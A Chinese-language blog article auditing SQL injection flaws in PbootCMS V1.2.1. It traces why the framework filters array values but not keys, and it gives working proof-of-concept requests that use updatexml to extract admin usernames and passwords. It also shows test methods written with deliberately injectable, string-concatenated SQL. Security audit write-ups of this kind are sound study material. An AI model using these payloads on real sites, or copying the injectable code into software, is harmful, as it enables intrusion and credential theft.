您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關php中PbootCMS漏洞審計怎么理解,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。
PbootCMS漏洞審計
下載地址:https://gitee.com/hnaoyun/PbootCMS/releases/V1.2.1
解析域名:http://www.pboot.cms/
這個系統很方便默認情況下,直接下載下來什么都不用做即可使用。(前提是開啟 php sqlite 擴展)
我們將其改為 mysql 數據庫使用。
mysql 新建數據庫pbootcms
,導入/PbootCMS/static/backup/sql
文件夾里的 sql 文件。
成功導入,然后修改數據庫配置文件,\config\database.php
后臺admin.php
默認賬戶密碼
賬戶:admin
密碼:123456
目錄結構:
PbootCMS-V1.2.1 ├─ apps 應用程序 │ ├─ admin 后臺模塊 │ ├─ api api模塊 │ ├─ common 公共模塊 │ ├─ home 前臺模塊 ├─ config 配置文件 │ ├─ config.php 配置文件 │ ├─ database.php 數據庫配置文件 │ ├─ route.php 用戶自定義路由規則 ├─ core 框架核心 │ ├─ function 框架公共函數庫 │ │ ├─ handle.php 助手函數庫1 │ │ ├─ helper.php 助手函數庫2 ├─ template html模板 ├─ admin.php 管理端入口文件 ├─ api.php api入口文件 ├─ index.php 前端入口文件
路由文件: PbootCMS\apps\common\route.php
例如: http://www.pboot.cms/index.php/about/1
因為他的這個文件在系統的自定義路由上所以上面的路由解析以后就是
路由:
'home/about' => 'home/about/index/scode',
對應文件:PbootCMS/apps/home/controller/AboutController.php
方法:index
參數:scode
那個 home 是由 對應的入口文件,例如文中的index.php中的URL_BLIND
我們自定義一個方法進行訪問,
添加自定義路由:
成功訪問:
如果對于自定義路由沒有的定義的路由,就會按照普通 mvc 模式來訪問了。
比如:http://www.pboot.cms/index.php/Message/add
路勁文件:PbootCMS/apps/home/controller/MessageController.php
方法:add
我們在 自己在MessageController.php
添加一個自定義方法來訪問,
public function test2() { echo "MessageController --> test2 方法"; }
訪問:
http://www.pboot.cms/index.php/Message/test2
使用原生GET,POST,REQUEST變量是完全不過濾的
在Message
控制器中進行測試,
public function test2() { //echo "MessageController --> test2 方法"; var_dump($_GET); echo "<br/>"; var_dump($_POST); echo "<br/>"; var_dump($_REQUEST); }
可以看到沒有任何過濾,
所以使用原生變量獲取方法就很有可能產生漏洞。
路徑:PbootCMS/core/function/helper.php
方法:get
,post
,request
等
最后return filter($name, $condition);
中一系列檢測,再最后return escape_string($data);
進行過濾:
// 獲取轉義數據,支持字符串、數組、對象 function escape_string($string, $dropStr = true) { if (! $string) return $string; if (is_array($string)) { // 數組處理 foreach ($string as $key => $value) { $string[$key] = escape_string($value); } } elseif (is_object($string)) { // 對象處理 foreach ($string as $key => $value) { $string->$key = escape_string($value); } } else { // 字符串處理 if ($dropStr) { $string = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i', '', $string); } $string = htmlspecialchars(trim($string), ENT_QUOTES, 'UTF-8'); $string = addslashes($string); } return $string; }
可以看得到所有傳過來的內容都會先過一個正則匹配過濾
會將 0x7e,0x27,0x22,updatexml,extractvalue,name_const,concat 將其替換為''
再進行防止 xss和sql注入的再次過濾。
但是在這里只進行了數組 value的過濾$string[$key] = escape_string($value);
, key 并沒有過濾。
preg_replace
可以雙寫繞過。
測試:
public function test2() { //echo "MessageController --> test2 方法"; var_dump(get(a)); echo "<br/>"; var_dump(post(b)); echo "<br/>"; var_dump(request(c)); }
效果如圖
測試查詢數據,
新建一個數據表,
在MeaasgeController.php
中,
public function test2() { //echo "MessageController --> test2 方法"; $id = get("id"); $result = $this->model->getUser($id); var_dump($result); }
在PbootCMS/apps/home/model/ParserModel.php
中
// 查詢測試用戶 public function getUser($id) { return parent::table("ay_testUser")->where("id=".$id)->select(); }
訪問http://www.pboot.cms/index.php/Message/test2?id=1
,即可查詢,
很明顯,有sql注入:
測試插入數據,
MessageController.php
:
public function test2() { // 增加用戶 $data["username"] = post("username"); $data["password"] = post("password"); if($data["username"]&&$data["password"]) $result = $this->model->addUser($data); var_dump($result); }
在PbootCMS/apps/home/model/ParserModel.php
中
// 插入用戶數據 public function addUser($data) { return parent::table("ay_testUser")->insert($data); }
成功插入。
測試更新數據
MessageController.php
:
public function test2() { // 更新用戶密碼 $data = [ "username"=>post("username"), "password"=>post("password") ]; $result = $this->model->updateUser($data); var_dump($result); }
在PbootCMS/apps/home/model/ParserModel.php
中
// 更新用戶數據 public function updateUser($data) { return parent::table("ay_testUser")->where("username='".$data["username"]."'")->update(array("password"=>$data["password"])); }
測試成功。
測試刪除數據
MessageController.php
:
public function test2() { // 刪除數據 $id = get("id"); $result = $this->model->deleteUser($id); var_dump($result); }
在PbootCMS/apps/home/model/ParserModel.php
中
// 刪除數據 public function deleteUser($id) { return parent::table("ay_testUser")->where("id='$id'")->delete(); }
測試刪除成功。
where 方法得到拼接 where 條件,無過濾
select 方法最終得到
整個db 類的底層都是類似的字符串拼接
由于此 cms 只會對數組鍵值進行過濾而不會對鍵進行過濾,恰巧這里瀏覽處可以接收數組。
poc:
# POST contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] = 111&mobile=111&content=111&checkcode=111
我們使用瀏覽器+phpstorm調試來探明注入漏洞的產生。(為方便測試,已修改源代碼將驗證碼功能注釋)
首先讀取了數據庫留言表字段,返回一個三維數組,數組table_name
為數據表名,name
分別即為contacts
,mobile
,content
,這里用處即為作為 post接收數據的 鍵
這里即起到了作用,遍歷二維數組的分別name
值接收 post 數據。
$field_data = post($value->name);
將數據存儲到 data 數組中,由于接受的 contacts 為數組,所以 data 也就變成了多維數組。
接下來,我們對addMessage
操作進行調試探索,按 F7
if ($this->model->addMessage($data))
到了:
// 新增留言 public function addMessage($data) { return parent::table('ay_message')->autoTime()->insert($data); }
繼續 F7 ,這里主要是insert
函數比較關鍵。
/** * 數據插入模型 * * @param array $data * 可以為一維或二維數組, * 一維數組:array('username'=>"xsh",'sex'=>'男'), * 二維數組:array( * array('username'=>"xsh",'sex'=>'男'), * array('username'=>"gmx",'sex'=>'女') * ) * @param boolean $batch * 是否啟用批量一次插入功能,默認true * @return boolean|boolean|array */ final public function insert(array $data = array(), $batch = true) { // 未傳遞數據時,使用data函數插入數據 if (! $data && isset($this->sql['data'])) { return $this->insert($this->sql['data']); } if (is_array($data)) { if (! $data) return; if (count($data) == count($data, 1)) { // 單條數據 $keys = ''; $values = ''; foreach ($data as $key => $value) { if (! is_numeric($key)) { $keys .= "`" . $key . "`,"; $values .= "'" . $value . "',"; } } if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) { $keys .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,"; if ($this->intTimeFormat) { $values .= "'" . time() . "','" . time() . "',"; } else { $values .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',"; } } if ($keys) { // 如果插入數據關聯字段,則字段以關聯數據為準,否則以設置字段為準 $this->sql['field'] = '(' . substr($keys, 0, - 1) . ')'; } elseif (isset($this->sql['field']) && $this->sql['field']) { $this->sql['field'] = "({$this->sql['field']})"; } $this->sql['value'] = "(" . substr($values, 0, - 1) . ")"; $sql = $this->buildSql($this->insertSql); } else { // 多條數據 if ($batch) { // 批量一次性插入 $key_string = ''; $value_string = ''; $flag = false; foreach ($data as $keys => $value) { if (! $flag) { $value_string .= ' SELECT '; } else { $value_string .= ' UNION All SELECT '; } foreach ($value as $key2 => $value2) { // 字段獲取只執行一次 if (! $flag && ! is_numeric($key2)) { $key_string .= "`" . $key2 . "`,"; } $value_string .= "'" . $value2 . "',"; } $flag = true; if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) { if ($this->intTimeFormat) { $value_string .= "'" . time() . "','" . time() . "',"; } else { $value_string .= "'" . date('Y-m-d H:i:s') . "','" . date('Y-m-d H:i:s') . "',"; } } $value_string = substr($value_string, 0, - 1); } if ($this->autoTimestamp || (isset($this->sql['auto_time']) && $this->sql['auto_time'] == true)) { $key_string .= "`" . $this->createTimeField . "`,`" . $this->updateTimeField . "`,"; } if ($key_string) { // 如果插入數據關聯字段,則字段以關聯數據為準,否則以設置字段為準 $this->sql['field'] = '(' . substr($key_string, 0, - 1) . ')'; } elseif (isset($this->sql['field']) && $this->sql['field']) { $this->sql['field'] = "({$this->sql['field']})"; } $this->sql['value'] = $value_string; $sql = $this->buildSql($this->insertMultSql); // 判斷SQL語句是否超過數據庫設置 if (get_db_type() == 'mysql') { $max_allowed_packet = $this->getDb()->one('SELECT @@global.max_allowed_packet', 2); } else { $max_allowed_packet = 1 * 1024 * 1024; // 其他類型數據庫按照1M限制 } if (strlen($sql) > $max_allowed_packet) { // 如果要插入的數據過大,則轉換為一條條插入 return $this->insert($data, false); } } else { // 批量一條條插入 foreach ($data as $keys => $value) { $result = $this->insert($value); } return $result; } } } elseif ($this->sql['from']) { if (isset($this->sql['field']) && $this->sql['field']) { // 表指定字段復制 $this->sql['field'] = "({$this->sql['field']})"; } $sql = $this->buildSql($this->insertFromSql); } else { return; } return $this->getDb()->amd($sql); }
判斷 data 為空即返回
這里count
用于判斷是否 data 為多維數組,如果不是即相等,否則不相等。
if (count($data) == count($data, 1))
所以,轉到 else ,$key_string
和$value_string
用于拼接。
由于data['contacts']
為數組,所以再次進行 foreach ,進行分別拼接鍵和鍵值。
其余操作一直為 拼接$value_string
,接下來跳出了 foreach,
然后拼接$key_string
,之后出現sql
數組,進入buildSql
函數,構建 Sql 語句,獲得
$sql = "INSERT INTO ay_message (`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`,`create_time`,`update_time`) SELECT '111','2021-02-21 13:38:58','2021-02-21 13:38:58' UNION All SELECT '2021-02-21 13:39:46','2021-02-21 13:39:46' UNION All SELECT '2021-02-21 13:39:51','2021-02-21 13:39:51' UNION All SELECT '2021-02-21 13:39:53','2021-02-21 13:39:53' UNION All SELECT '2021-02-21 13:40:03','2021-02-21 13:40:03' UNION All SELECT '2021-02-21 13:40:04','2021-02-21 13:40:04' UNION All SELECT '2021-02-21 13:40:13','2021-02-21 13:40:13' UNION All SELECT '2021-02-21 13:40:17','2021-02-21 13:40:17' UNION All SELECT '2021-02-21 13:40:20','2021-02-21 13:40:20' UNION All SELECT '2021-02-21 13:40:22','2021-02-21 13:40:22' UNION All SELECT '2021-02-21 13:40:25','2021-02-21 13:40:25'"
即發生了注入,拼接了惡意sql語句
INSERT INTO ay_message (`content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a`,`create_time`,`update_time`)
poc:
http://www.pboot.cms/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=12
PbootCMS/apps/home/controller/IndexController.php
, index 方法:
// parserAfter -> parserSpecifyListLabel public function index() { $content = parent::parser('index.html'); // 框架標簽解析 $content = $this->parser->parserBefore($content); // CMS公共標簽前置解析 $content = $this->parser->parserPositionLabel($content, - 1, '首頁', SITE_DIR . '/'); // CMS當前位置標簽解析 $content = $this->parser->parserSpecialPageSortLabel($content, 0, '', SITE_DIR . '/'); // 解析分類標簽 $content = $this->parser->parserAfter($content); // CMS公共標簽后置解析 $this->cache($content, true); }
跟進
$content = $this->parser->parserAfter($content); 這個方法
PbootCMS/apps/home/controller/ParserController.php
,parserAfter()
// 解析全局后置公共標簽 public function parserAfter($content) { ... $content = $this->parserSpecifyListLabel($content); // 指定列表 return $content; }
// 解析指定分類列表標簽 public function parserSpecifyListLabel($content) { ... // 數據篩選 騷操作注入 $where2 = array(); foreach ($_GET as $key => $value) { if (substr($key, 0, 4) == 'ext_') { // 其他字段不加入 $where2[$key] = get($key); } } ... // 讀取數據 if ($page) { $data = $this->model->getList($scode, $num, $order, $where1, $where2); } else { $data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2); } }
這里讀取數據$this->model->getSpecifyList
這里接收了外部了外部所有的get參數然后判斷了開頭的前4個字符是否 ext_ 開頭,如果符合就直接拼接進入$where2這個數組 然后帶入數據庫進行getList方法與getSpecifyList查詢,而底層是字符串拼接,過濾了value沒有過濾key所以有注入
最終 sql 語句
SELECT a.*,b.name as sortname,b.filename as sortfilename,c.name as subsortname,c.filename as subfilename,d.type,e.* FROM ay_content a LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5','6','7') OR a.subscode='5') AND(a.acode='cn' AND a.status=1 AND d.type=2) AND(ext_price=1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));# like '%12%' ) ORDER BY date DESC,sorting ASC,id DESC LIMIT 4
poc:
http://www.pboot.cms/index.php/Search/index?keyword=aaaa&updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123
PbootCMS/apps/home/controller/SearchController.php
中 index 方法
public function index() { $content = parent::parser('search.html'); // 框架標簽解析 $content = $this->parser->parserBefore($content); // CMS公共標簽前置解析 $content = $this->parser->parserPositionLabel($content, 0, '搜索', url('/home/Search/index')); // CMS當前位置標簽解析 $content = $this->parser->parserSpecialPageSortLabel($content, 0, '搜索結果', url('/home/Search/index')); // 解析分類標簽 $content = $this->parser->parserSearchLabel($content); // 搜索結果標簽 $content = $this->parser->parserAfter($content); // CMS公共標簽后置解析 $this->cache($content, true); }
跟進
$this->parser->parserSearchLabel
PbootCMS/apps/home/controller/ParserController.php
中 parserSearchLabel 方法,
這里將 惡意語句帶入,
接下來就是讀取數據這里
// 讀取數據 if (! $data = $this->model->getList($scode, $num, $order, $where1, $where2, $fuzzy)) { $content = str_replace($matches[0][$i], '', $content); continue; }
這里接收了外部了外部所有的get參數然后就直接拼接進入$where2這個數組 然后帶入數據庫進行getList方法查詢,而底層是字符串拼接,過濾了value沒有過濾key所以有注入.
關于php中PbootCMS漏洞審計怎么理解就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。